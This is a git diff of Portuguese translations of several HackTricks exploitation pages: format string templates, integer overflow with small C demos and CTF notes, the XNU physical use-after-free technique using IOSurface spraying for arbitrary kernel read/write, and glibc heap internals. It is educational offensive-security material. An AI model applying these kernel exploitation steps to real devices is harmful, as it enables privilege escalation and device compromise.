* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Modelo de Strings de Formato
|
# Modelo de Strings de Formato
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento Especialista em Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento Especialista em Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -154,16 +154,16 @@ P.interactive()
|
||||||
|
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Supporte o HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,31 @@
|
||||||
# Estouro de Inteiro
|
# Overflow de Inteiro
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Informações Básicas
|
## Informações Básicas
|
||||||
|
|
||||||
No cerne de um **estouro de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados.
|
No coração de um **overflow de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados.
|
||||||
|
|
||||||
Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele será envolvido de volta para 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor volte para 0.
|
Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele retorna a 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor retorne a 0.
|
||||||
|
|
||||||
Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`).
|
Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`).
|
||||||
|
|
||||||
### Valores Máximos
|
### Valores Máximos
|
||||||
|
|
||||||
Para potenciais **vulnerabilidades web**, é muito interessante saber os valores máximos suportados:
|
Para potenciais **vulnerabilidades web**, é muito interessante conhecer os valores máximos suportados:
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="Rust" %}
|
{% tab title="Rust" %}
|
||||||
|
@ -44,14 +44,6 @@ println!("{}", add_result);
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="C" %}
|
{% tab title="C" %}
|
||||||
## Transbordamento de Inteiro
|
|
||||||
|
|
||||||
Transbordamento de inteiro ocorre quando uma operação matemática resulta em um valor que excede o limite máximo ou mínimo que o tipo de dado pode armazenar. Isso pode levar a comportamentos inesperados e vulnerabilidades de segurança em programas.
|
|
||||||
|
|
||||||
Um exemplo comum de transbordamento de inteiro é quando um valor positivo é adicionado a um valor muito grande, resultando em um valor negativo devido ao estouro. Isso pode ser explorado por hackers para manipular o comportamento do programa e potencialmente executar código malicioso.
|
|
||||||
|
|
||||||
Para evitar transbordamentos de inteiro, é importante validar entradas, verificar limites de valores e usar tipos de dados apropriados para as operações matemáticas realizadas no programa.
|
|
||||||
{% endtab %}
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <limits.h>
|
#include <limits.h>
|
||||||
|
@ -70,11 +62,14 @@ printf("%d\n", c);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
## Exemplos
|
## Exemplos
|
||||||
|
|
||||||
### Overflow puro
|
### Overflow puro
|
||||||
|
|
||||||
O resultado impresso será 0, pois ocorreu um estouro no char:
|
O resultado impresso será 0, pois transbordamos o char:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
@ -87,7 +82,7 @@ return 0;
|
||||||
```
|
```
|
||||||
### Conversão de Assinado para Não Assinado
|
### Conversão de Assinado para Não Assinado
|
||||||
|
|
||||||
Considere uma situação em que um inteiro assinado é lido a partir da entrada do usuário e depois utilizado em um contexto que o trata como um inteiro não assinado, sem uma validação adequada:
|
Considere uma situação em que um inteiro assinado é lido da entrada do usuário e, em seguida, usado em um contexto que o trata como um inteiro não assinado, sem a devida validação:
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
@ -109,21 +104,36 @@ printf("Processed Input is within range: %u\n", processedInput);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro não assinado devido à forma como os valores binários são interpretados, potencialmente levando a comportamentos inesperados.
|
Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado.
|
||||||
|
|
||||||
### Outros Exemplos
|
### Outros Exemplos
|
||||||
|
|
||||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||||
* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um estouro e fazer com que ele pense que tem um comprimento de 4, enquanto na verdade é 260 para burlar a proteção de verificação de comprimento
|
* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um overflow e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento.
|
||||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
|
* [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html)
|
||||||
* Dados alguns números, descubra usando z3 um novo número que, multiplicado pelo primeiro, resultará no segundo: 
|
* Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro dará o segundo: 
|
||||||
|
|
||||||
```
|
```
|
||||||
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
|
||||||
```
|
```
|
||||||
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
* [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
|
||||||
* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um estouro e fazer com que ele pense que tem um comprimento de 4, enquanto na verdade é 260 para burlar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e burlar ambas as proteções
|
* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um overflow e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e contornar ambas as proteções.
|
||||||
|
|
||||||
## ARM64
|
## ARM64
|
||||||
|
|
||||||
Isso **não muda no ARM64** como você pode ver neste [**post de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
Isso **não muda no ARM64** como você pode ver em [**este post do blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
## Uso físico após a liberação
|
## Uso físico após a liberação
|
||||||
|
|
||||||
Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre o exploit usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||||
|
|
||||||
### Gerenciamento de memória no XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
### Gerenciamento de memória no XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||||
|
|
||||||
|
@ -17,7 +17,7 @@ As tabelas de páginas são organizadas hierarquicamente em três níveis:
|
||||||
* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
|
* Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual.
|
||||||
2. **Tabela de Páginas L2 (Nível 2)**:
|
2. **Tabela de Páginas L2 (Nível 2)**:
|
||||||
* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
|
* Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB).
|
||||||
* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha.
|
* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por conta própria.
|
||||||
3. **Tabela de Páginas L3 (Nível 3)**:
|
3. **Tabela de Páginas L3 (Nível 3)**:
|
||||||
* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**.
|
* Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**.
|
||||||
* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.
|
* Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário.
|
||||||
|
@ -25,7 +25,7 @@ As tabelas de páginas são organizadas hierarquicamente em três níveis:
|
||||||
#### Mapeamento de Memória Virtual para Física
|
#### Mapeamento de Memória Virtual para Física
|
||||||
|
|
||||||
* **Mapeamento Direto (Mapeamento de Bloco)**:
|
* **Mapeamento Direto (Mapeamento de Bloco)**:
|
||||||
* Algumas entradas em uma tabela de páginas **mapeiam um intervalo de endereços virtuais** para um intervalo contíguo de endereços físicos (como um atalho).
|
* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho).
|
||||||
* **Ponteiro para Tabela de Páginas Filha**:
|
* **Ponteiro para Tabela de Páginas Filha**:
|
||||||
* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2).
|
* Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2).
|
||||||
|
|
||||||
|
@ -60,7 +60,7 @@ Um **uso físico após a liberação** (UAF) ocorre quando:
|
||||||
3. O processo **desaloca** (libera) a memória.
|
3. O processo **desaloca** (libera) a memória.
|
||||||
4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre.
|
4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre.
|
||||||
5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**.
|
5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**.
|
||||||
6. Como o mapeamento não foi removido, o processo ainda pode **ler e gravar** nessa memória física.
|
6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física.
|
||||||
|
|
||||||
Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**.
|
Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**.
|
||||||
|
|
||||||
|
@ -71,7 +71,7 @@ Como o atacante não pode controlar quais páginas específicas do kernel serão
|
||||||
1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel.
|
1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel.
|
||||||
2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação.
|
2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação.
|
||||||
3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada.
|
3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada.
|
||||||
4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e gravar na memória do kernel**.
|
4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**.
|
||||||
|
|
||||||
Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||||
|
|
||||||
|
@ -79,9 +79,9 @@ Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writ
|
||||||
|
|
||||||
1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico").
|
1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico").
|
||||||
2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada.
|
2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada.
|
||||||
3. **Ler/Gravar na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles:
|
3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles:
|
||||||
* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel.
|
* Use um campo para **ler qualquer valor de 32 bits** na memória do kernel.
|
||||||
* Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável.
|
* Use outro campo para **escrever valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável.
|
||||||
|
|
||||||
Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde:
|
Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde:
|
||||||
```c
|
```c
|
||||||
|
@ -200,4 +200,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||||
3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla.
|
3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla.
|
||||||
4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface.
|
4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface.
|
||||||
|
|
||||||
Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** controladas na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).
|
Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).
|
||||||
|
|
|
@ -41,16 +41,16 @@ Subheaps servem como reservas de memória para arenas secundárias em aplicaçõ
|
||||||
* O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`.
|
* O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`.
|
||||||
* Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
|
* Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
|
||||||
2. **Reserva de Memória com `mmap`**:
|
2. **Reserva de Memória com `mmap`**:
|
||||||
* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
|
* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
|
||||||
* Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
|
* Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
|
||||||
3. **Expansão Gradual com `mprotect`**:
|
3. **Expansão Gradual com `mprotect`**:
|
||||||
* A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
|
* A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
|
||||||
* Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário.
|
* Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário.
|
||||||
* Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
|
* Uma vez que todo o subheap esteja esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
|
||||||
|
|
||||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||||
|
|
||||||
Esta struct aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação.
|
Esta struct aloca informações relevantes do heap. Além disso, a memória heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação.
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||||
|
|
||||||
|
@ -72,7 +72,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||||
|
|
||||||
**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
|
**Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
|
||||||
É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
|
É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
|
||||||
No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
|
No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
|
||||||
|
|
||||||
Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo):
|
Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo):
|
||||||
|
|
||||||
|
@ -177,7 +177,7 @@ Além disso, quando disponível, os dados do usuário também são usados para c
|
||||||
